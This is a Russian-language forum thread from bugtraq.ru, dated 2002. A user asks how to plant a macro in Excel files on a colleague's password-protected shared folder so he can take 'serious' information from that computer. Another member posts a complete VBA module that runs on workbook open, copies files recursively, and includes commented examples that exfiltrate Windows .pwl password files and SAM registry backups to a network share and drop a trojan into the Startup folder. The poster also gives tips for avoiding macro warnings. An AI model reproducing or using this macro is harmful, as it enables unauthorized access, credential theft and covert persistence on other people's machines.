информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Все любят медСтрашный баг в WindowsЗа кого нас держат?
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Очередное исследование 19 миллиардов... 
 Оптимизация ввода-вывода как инструмент... 
 Зловреды выбирают Lisp и Delphi 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / programming
Имя Пароль
если вы видите этот текст, отключите в настройках форума использование JavaScript
ФОРУМ
все доски
FAQ
IRC
новые сообщения
site updates
guestbook
beginners
sysadmin
programming
operating systems
theory
web building
software
hardware
networking
law
hacking
gadgets
job
dnet
humor
miscellaneous
scrap
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
VB xls macros подскажите, я не специалист 18.04.02 15:25  
Автор: Wud <Леха> Статус: Member
<"чистая" ссылка>
Я не знаток VB я специализируюсь на delphi.
Вот такая забавная задача: Есть локалка, в ней есть компьютер у которого зашарена папка с паролем. Паролик не проблема, в папке exel файлики...
Цель: Добавить в xls файлик макрос который бы умел либо расшаривать диски, либо копировать файл на тот комп в нужную директорию...
Ну соответственно чтобы потом его запустить.
Я не знаю, может конечно есть другие варианты, но пока не вижу.
Уж больно хочется получить инфу с того компа. Слишком она серьезна...
[Win32] макрос за 3 секунды 19.04.02 10:19  
Автор: paganoid Статус: Member
Отредактировано 19.04.02 10:21  Количество правок: 1
<"чистая" ссылка>
> Цель: Добавить в xls файлик макрос который бы умел либо
> расшаривать диски,

тут придётся немножко повозиться с API ф-ями, но это вполне реально

>либо копировать файл на тот комп в
> нужную директорию...

а вот это совсем просто.

> Ну соответственно чтобы потом его запустить.

самое оптимальное , если у тебя есть доступ к реестру или директорию C:\Program Files\Microsoft Office\Office\XLStart\ . Тогда можно сделать так, что Excel не заорет и все пройдет тихо и гладко. Иначе будут предупреждения о макросах и бла бла бла. Также можно наделить макросом файлик,в котором уже есть макросы.

> Я не знаю, может конечно есть другие варианты, но пока не
> вижу.
> Уж больно хочется получить инфу с того компа. Слишком она
> серьезна...

напишу тебе этот макрос за 3 минуты. А что хорошего за это будет :) ? (273ю статью не предлагать ;) , будем считать, что это ты себя тестируешь )
Может это пригодится? >>> 19.04.02 10:57  
Автор: Wud <Леха> Статус: Member
<"чистая" ссылка>
> напишу тебе этот макрос за 3 минуты. А что хорошего за это
> будет :) ?

Я неплохой электронщик, даже более - микроэлектронщик, и так себе программист - Delphi, MicroAsm for Kontroller
Имею профессиональные знания по системам эл.безопасности(видеонаблюдение, охр.сигнализации,контроль доступа, профессиональный взлом таких устройств :))) )

Может что-то из этой области?
Может это пригодится? >>> 19.04.02 12:02  
Автор: paganoid Статус: Member
<"чистая" ссылка>
> > напишу тебе этот макрос за 3 минуты. А что хорошего за
> это
> > будет :) ?
>
> Я неплохой электронщик, даже более - микроэлектронщик, и
> так себе программист - Delphi, MicroAsm for Kontroller
> Имею профессиональные знания по системам
> эл.безопасности(видеонаблюдение, охр.сигнализации,контроль
> доступа, профессиональный взлом таких устройств :))) )
>
> Может что-то из этой области?

окей, обращусь к тебе тоже за консультацией :)

Тогда расскажи пока, какой Excel (97/2000), какой доступ есть и есть ли доступ к реестру. Есть ли файлы с макросами. В какую директорию класть. Слать ли тебе готовую книгу на мыло или тут выложить и т.п.
[Win32] забирай 19.04.02 14:16  
Автор: paganoid Статус: Member
<"чистая" ссылка>
вотщем вот файлик, мож кому еще пригодится.

Открываешь *.xls (желательно , чтобы в файле уже были макросы, чтобы не вызывать подозрений ). Заходишь в среду VBA (Alt + F11). Добавляешь в книжку обычный модуль (Вставка>Модуль). Туда копируешь текст от сюда. Изучаешь, следуешь инструкциям. Жмёшь Save. При повторном открытии, если все сделал верно, будет желаемое действо.

---- CopierModule.bas -----
Option Explicit

'сделано paganoid'ом  в 2002 году
'
'для использования исключительно в ознакомительных и мирных целях
'
'копирует при запуске все файлы из заданной директории в заданную.
'примеры - далее в коде.
'
'по некоторым соображениям исходники несколько покоцаны (в смысле
'орфография и пунктуация НЕ сохранены ;) )
'
'напоминаю, что 272 и 273ю статью за НСД еще никто не отменял.
'также подчёркиваю, что данный файл в "дефолтной поставке"
'абсолютно безвреден (более того, полезен, как программная библиотека)
'и может быть сделан вредоносным исключительно путем модификации исходного кода
'злоумышленником. Т.ч. к автору никаких претензий, плиз.
'

'лог файл в целевой директории, в который пишется отчет, сколько чего откель скопировали
Const LogFileName As String = "copylog.txt"
Const DLM As String = "\"

'''______команды_на_копирование_лежат_здесь_(закомментаренные)_________________________________
'эта процедура (StartCopy) должна выполняться при открытии рабочей книги
'для этого в дереве проекта нужно дважды тыкнуть на ThisWorkbook
'и вставить одну (раскомментаренную ессна) заветную строчку:
'
'   Private Sub Workbook_Open():  StartCopy: End Sub
'
''тогда при запуске (после вопроса о макросах), сразу выполнится следущая процедура
'Public Sub StartCopy()
'  On Error Resume Next
''  'копирует все файлы паролей Win9х в расшаренную сетевую папку
''  CopyFiles "c:\WINDOWS\", "\\NETWORK\PATH", "*.pwl"
''  'копирует резервные копии файлов реестра NT в расшаренную сетевую папку
''  CopyFiles "c:\WINNT\", "\\NETWORK\PATH", "sam._"
''  CopyFiles "c:\WINNT\", "\\NETWORK\PATH", "sam.sav"
''  'заливает трояна в директорию автозапуска NT
''  CopyFiles "\\NETWORK\PATH\TROJAN", "C:\WINNT\Profiles\All Users\Start Menu\Programs\Startup\", "trojan.exe"
''  '...и т.п., все что нужно
'End Sub

'''____далее_следует_внутреннее_устройство____________________________________
'Копирует (рекурсивно) файлы по маске из одной директории в другую
Public Sub CopyFiles(ByVal SrcDir As String, ByVal TrgDir As String, Optional ByVal FileMask As String = ., Optional Recurse As Boolean = True)
  Dim v As Variant
  Dim i As Long
  Dim l As Long
  Dim cf As String
  Dim tf As String
  v = ff(FileMask, SrcDir, , Recurse)
  If IsArray(v) Then
    l = UBound(v)
    la TrgDir, CStr(l) & " file(s) match condition " & FileMask & " in directory " & SrcDir & ". All of them are copied (maybe ;)"
    For i = 0 To l
      cf = spth(SrcDir, TrgDir, v(i))
      crf gdfp(cf)
      FileCopy v(i), cf
    Next
  Else
    la TrgDir, "0 files match condition " & FileMask & " in directory " & SrcDir & " - no files copied"
  End If
End Sub

'Заморочки с поиском файлов, разбором строк, созданием папок и т.п.

Private Sub la(ByVal TrgDir As String, ByVal msg As String, Optional ByVal TimeStamp As Boolean = True)
  Dim fn As Integer
  fn = FreeFile
  Open fws(TrgDir) & LogFileName For Append As #fn
  Print #fn, IIf(TimeStamp, CStr(Now) & vbTab, "") & msg
  Close #fn
End Sub
Private Function gdfp(ByVal p As String) As String
  Dim i As Integer
  Dim bf As Boolean
  i = Len(p)
  While i > 0 And Not bf
    If Strings.Mid(p, i, 1) = DLM Then
      bf = True
    Else
      i = i - 1
    End If
  Wend
  gdfp = Strings.Mid(p, 1, i)
End Function
Private Function splt(ByVal Str As String, ByVal Delim As String) As Variant
  Dim i As Integer
  Dim Strs() As String
  Dim npo As Integer
  Dim ico As Integer
  Dim bs As Boolean
  i = 1
  ico = -1
  While Not bs
    npo = InStr(i, Str, Delim)
    If npo > 0 Then
      If ico = -1 Then ReDim Strs(0) As String Else ReDim Preserve Strs(ico + 1) As String
      ico = ico + 1
      Strs(ico) = Mid(Str, i, npo - i)
      i = npo + Len(Delim)
    Else
      If ico = -1 Then ReDim Strs(0) As String Else ReDim Preserve Strs(ico + 1) As String
      ico = ico + 1
      Strs(ico) = Mid(Str, i)
      bs = True
    End If
  Wend
  splt = Strs
End Function
Private Sub crf(FolderPath As String)
  Dim i As Integer
  Dim j As Integer
  Dim Good As Boolean
  Dim s As Variant
  Dim Pt As String
  s = splt(FolderPath, DLM)
  j = LBound(s)
  While Not Good
    Pt = ""
    For i = LBound(s) To j
      If Pt = "" Then
        Pt = s(i)
      Else
        Pt = Pt & DLM & s(i)
      End If
    Next
    On Error Resume Next
    MkDir Pt
    If Err.Number = 58 Or Err.Number = 0 Or Err.Number = 75 Then
      j = j + 1
    Else
      On Error GoTo 0
      Err.Raise vbObjectError, , "Shit happens"
    End If
    On Error GoTo 0
    If j > UBound(s) Then Good = True
  Wend
End Sub
Public Function spth(ByVal sd As String, ByVal td As String, ByVal pts As String)
  sd = fws(sd)
  spth = IIf(Left(pts, Len(sd)) = sd, fws(td) & Mid(pts, Len(sd) + 1), fws(td))
End Function
Private Function ff(ByVal fma As String, ByVal spth As String, Optional atbts As Long = 0, Optional ByVal r As Boolean = True) As Variant
  Dim i As Long
  Dim j As Long
  Dim tmp As Variant
  Dim sdli As Variant
  Dim dl() As String
  Dim mn As String
  Dim dls As Long
  dls = -1
  mn = Dir(spth, atbts Or VbFileAttribute.vbDirectory)
  Do While mn <> ""
    If mn <> "." And mn <> ".." Then
      If mn Like fma Then
        If (GetAttr(spth & mn) And atbts) = atbts Then
          If dls = -1 Then
            ReDim dl(0) As String
          Else
            ReDim Preserve dl(dls + 1) As String
          End If
          dls = dls + 1
          dl(dls) = spth & mn
        End If
      End If
    End If
    mn = Dir()
  Loop
  If r Then
    sdli = sbfl(spth)
    If IsArray(sdli) Then
      For j = 0 To UBound(sdli)
        tmp = ff(fma, fws(sdli(j)), atbts)
        If Information.IsArray(tmp) Then
          For i = 0 To UBound(tmp)
            If dls = -1 Then
              ReDim dl(0) As String
            Else
              ReDim Preserve dl(dls + 1) As String
            End If
            dls = dls + 1
            dl(dls) = tmp(i)
          Next
        End If
      Next
    End If
  End If
  ff = IIf(dls = -1, Empty, dl)
End Function
Private Function fws(ByVal fp As String) As String
  fws = IIf(fp Like ("*" & DLM), fp, fp & DLM)
End Function
Private Function sbfl(ByVal spth As String) As Variant
  Dim dl() As String
  Dim mn As String
  Dim dls As Integer
  Dim i As Integer
  dls = -1
  mn = Dir(spth, VbFileAttribute.vbDirectory)
  Do While mn <> ""
    If mn <> "." And mn <> ".." Then
      If (GetAttr(spth + mn) And VbFileAttribute.vbDirectory) = VbFileAttribute.vbDirectory Then
        If dls = -1 Then
          ReDim dl(0) As String
        Else
          ReDim Preserve dl(dls + 1) As String
        End If
        dls = dls + 1
        dl(dls) = spth + mn
      End If
    End If
    mn = Dir()
  Loop
  sbfl = IIf(dls = -1, Empty, dl)
End Function


---
--- EOF ----
Класс 19.04.02 17:14  
Автор: PS <PS> Статус: Elderman
<"чистая" ссылка>
Всегда знал, что любую задачку требующую одну строку можно сделать на пять листов :)
например переписать документ в нужную директорию можно так:
ThisDocument.SaveAs "d:/t666.doc"

Другой вопрос как все эти макросы собираются внедрить в документ ? Если к нему есть доступ, что бы прописать макрос - то нафига этот макрос там нужен ? Опять же, если доступа нет - макрос бесполезный.
И что делать если отрублена возможность запускать любые макросы ?
[Win32] Класс 19.04.02 17:49  
Автор: paganoid Статус: Member
<"чистая" ссылка>
> Всегда знал, что любую задачку требующую одну строку можно
> сделать на пять листов :)

:))

> например переписать документ в нужную директорию можно так:
> ThisDocument.SaveAs "d:/t666.doc"

я так понял, что он хочет через расшаренную папку получить доступ ко всей машине, протроянив некую книгу Excel.

>
> Другой вопрос как все эти макросы собираются внедрить в
> документ ? Если к нему есть доступ, что бы прописать макрос
> - то нафига этот макрос там нужен ?

у него есть доступ к одной папке и ничего кроме *.xls совать туда нельзя

Опять же, если доступа
> нет - макрос бесполезный.
> И что делать если отрублена возможность запускать любые
> макросы ?

тады ой :)
Elsi ty "не специалист" po golove poluchit` ne boishsia? 19.04.02 03:28  
Автор: + <Mikhail> Статус: Elderman
<"чистая" ссылка>
Я не это имел ввиду... 19.04.02 11:00  
Автор: Wud <Леха> Статус: Member
<"чистая" ссылка>
Не специалист - слишком громко сказано...
Ну да - не занимался VB, но с остальным все в порядке....
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2025 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach